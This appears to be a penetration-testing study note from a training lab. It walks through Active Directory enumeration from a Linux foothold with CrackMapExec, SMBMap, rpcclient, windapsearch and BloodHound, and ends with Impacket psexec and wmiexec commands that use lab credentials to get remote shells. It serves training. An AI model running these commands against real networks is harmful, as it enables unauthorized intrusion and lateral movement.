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b-Enumeration from beachhead - Linux

Jan 07, 20256 min read

Now that we acquired foothold in the domain with valid credentials, it’s time to dig deeper using our beachhead system.

We are enumerating more on

  • Domain user and computer attributes
  • Group membership
  • Group Policy Objects
  • Permissions
  • ACLs
  • Trusts

CrackMapExec

  • -u Username The user whose credentials we will use to authenticate
  • -p Password User’s password
  • Target (IP or FQDN)Target host to enumerate (in our case, the Domain Controller)
  • --users Specifies to enumerate Domain Users
  • --groups Specifies to enumerate domain groups
  • --loggedon-users Attempts to enumerate what users are logged on to a target, if any

CME Domain User Enum

[!bash!]$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users
 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated domain user(s)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\administrator                  badpwdcount: 0 baddpwdtime: 2022-03-29 12:29:14.476567
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\guest                          badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58

CME Domain Group Enum

[!bash!]$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated domain group(s)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Administrators                           membercount: 3
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Users                                    membercount: 4
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Guests                                   membercount: 2

CME Logged On Users

[!bash!]$ sudo crackmapexec smb 172.16.5.130 -u forend -p Klmcargo2 --loggedon-users
 
SMB         172.16.5.130    445    ACADEMY-EA-FILE  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-FILE) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:False)
SMB         172.16.5.130    445    ACADEMY-EA-FILE  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 (Pwn3d!)
SMB         172.16.5.130    445    ACADEMY-EA-FILE  [+] Enumerated loggedon users
SMB         172.16.5.130    445    ACADEMY-EA-FILE  INLANEFREIGHT\clusteragent              logon_server: ACADEMY-EA-DC01
SMB         172.16.5.130    445    ACADEMY-EA-FILE  INLANEFREIGHT\lab_adm                   logon_server: ACADEMY-EA-DC01

CME Share Enum

[!bash!]$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated shares
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Share           Permissions     Remark
SMB         172.16.5.5      445    ACADEMY-EA-DC01  -----           -----------     ------
SMB         172.16.5.5      445    ACADEMY-EA-DC01  ADMIN$                          Remote Admin
SMB         172.16.5.5      445    ACADEMY-EA-DC01  C$                              Default share

Spider_plus

Spider_plus module dig deeper through each readable share on the host and list all readable files:

[!bash!]$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share 'Department Shares'
 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 
SPIDER_P... 172.16.5.5      445    ACADEMY-EA-DC01  [*] Started spidering plus with option:
SPIDER_P... 172.16.5.5      445    ACADEMY-EA-DC01  [*]        DIR: ['print$']
SPIDER_P... 172.16.5.5      445    ACADEMY-EA-DC01  [*]        EXT: ['ico', 'lnk']
SPIDER_P... 172.16.5.5      445    ACADEMY-EA-DC01  [*]       SIZE: 51200
SPIDER_P... 172.16.5.5      445    ACADEMY-EA-DC01  [*]     OUTPUT: /tmp/cme_spider_plus

SMBMap

SMBMap Check Access

[!bash!]$ smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5
 
[+] IP: 172.16.5.5:445	Name: inlanefreight.local                               
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	Department Shares                                 	READ ONLY	
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	SYSVOL                                            	READ ONLY	Logon server share 
	User Shares                                       	READ ONLY	
	ZZZ_archive

SMBMap Recursive Directory List

[!bash!]$ smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R 'Department Shares' --dir-only
 
[+] IP: 172.16.5.5:445	Name: inlanefreight.local                               
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	Department Shares                                 	READ ONLY	
	.\Department Shares\*
	dr--r--r--                0 Thu Mar 31 15:34:29 2022	.
	dr--r--r--                0 Thu Mar 31 15:34:29 2022	..
	dr--r--r--                0 Thu Mar 31 15:14:48 2022	Accounting
	dr--r--r--                0 Thu Mar 31 15:14:39 2022	Executives
	dr--r--r--                0 Thu Mar 31 15:14:57 2022	Finance
	dr--r--r--                0 Thu Mar 31 15:15:04 2022	HR
	dr--r--r--                0 Thu Mar 31 15:15:21 2022	IT
	dr--r--r--                0 Thu Mar 31 15:15:29 2022	Legal
	dr--r--r--                0 Thu Mar 31 15:15:37 2022	Marketing
	dr--r--r--                0 Thu Mar 31 15:15:47 2022	Operations
	dr--r--r--                0 Thu Mar 31 15:15:58 2022	R&D
	dr--r--r--                0 Thu Mar 31 15:16:10 2022	Temp
	dr--r--r--                0 Thu Mar 31 15:16:18 2022	Warehouse

rpcclient

unauthenticated enumeration:

rpcclient -U "" -N 172.16.5.5

RPCClient User Enumeration By RID:

rpcclient $> queryuser 0x457
 
        User Name   :   htb-student
        Full Name   :   Htb Student
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Wed, 02 Mar 2022 15:34:32 EST
        Logoff Time              :      Wed, 31 Dec 1969 19:00:00 EST
        Kickoff Time             :      Wed, 13 Sep 30828 22:48:05 EDT
        Password last set Time   :      Wed, 27 Oct 2021 12:26:52 EDT
        Password can change Time :      Thu, 28 Oct 2021 12:26:52 EDT
        Password must change Time:      Wed, 13 Sep 30828 22:48:05 EDT

List users:

rpcclient $> enumdomusers
 
user:[administrator] rid:[0x1f4]
user:[guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[lab_adm] rid:[0x3e9]
user:[htb-student] rid:[0x457]
user:[avazquez] rid:[0x458]
user:[pfalcon] rid:[0x459]

We could even edit users and groups or add our own into the domain with proper user compromised.

Impacket

wmiexec.py and psexec.py

psexec.py

Psexec creates a remote service by uploading a random executable to the ADMIN$ share on the target. It then registers the service via PRC and the Windows Service Control Manager. Once established, communication happens over a named pipe, providing an interactive remote shell as SYSTEM on the victim host.

psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125

wmiexec.py

Stealthy compared to psexec.

wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5

Might alert: event ID 4688: A new process has been created

Windapsearch

  • --da (enumerate domain admins group members )
  • -PU ( find privileged users)

Can enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.

Domain Admins group enumeration:

[!bash!]$ python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
 
[+] Using Domain Controller at: 172.16.5.5
[+] Getting defaultNamingContext from Root DSE
[+]	Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+]	...success! Binded as: 
[+]	 u:INLANEFREIGHT\forend
[+] Attempting to enumerate all Domain Admins
[+] Using DN: CN=Domain Admins,CN=Users.CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[+]	Found 28 Domain Admins:
 
cn: Administrator
userPrincipalName: administrator@inlanefreight.local
 
cn: lab_adm
 
cn: Matthew Morgan
userPrincipalName: mmorgan@inlanefreight.local

Privileged users enumeration:

[!bash!]$ python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU
 
[+] Using Domain Controller at: 172.16.5.5
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+]     ...success! Binded as:
[+]      u:INLANEFREIGHT\forend
[+] Attempting to enumerate all AD privileged users
[+] Using DN: CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[+]     Found 28 nested users for group Domain Admins:
 
cn: Administrator
userPrincipalName: administrator@inlanefreight.local
 
cn: lab_adm
 
cn: Angela Dunn
userPrincipalName: adunn@inlanefreight.local
 
cn: Matthew Morgan
userPrincipalName: mmorgan@inlanefreight.local

Bloodhound

Best one out there so far.

[!bash!]$ sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all 
 
INFO: Found AD domain: inlanefreight.local
INFO: Connecting to LDAP server: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 564 computers
INFO: Connecting to LDAP server: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
INFO: Found 2951 users
INFO: Connecting to GC LDAP server: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
INFO: Found 183 groups
INFO: Found 2 trusts
INFO: Starting computer enumeration with 10 workers
 
<SNIP>

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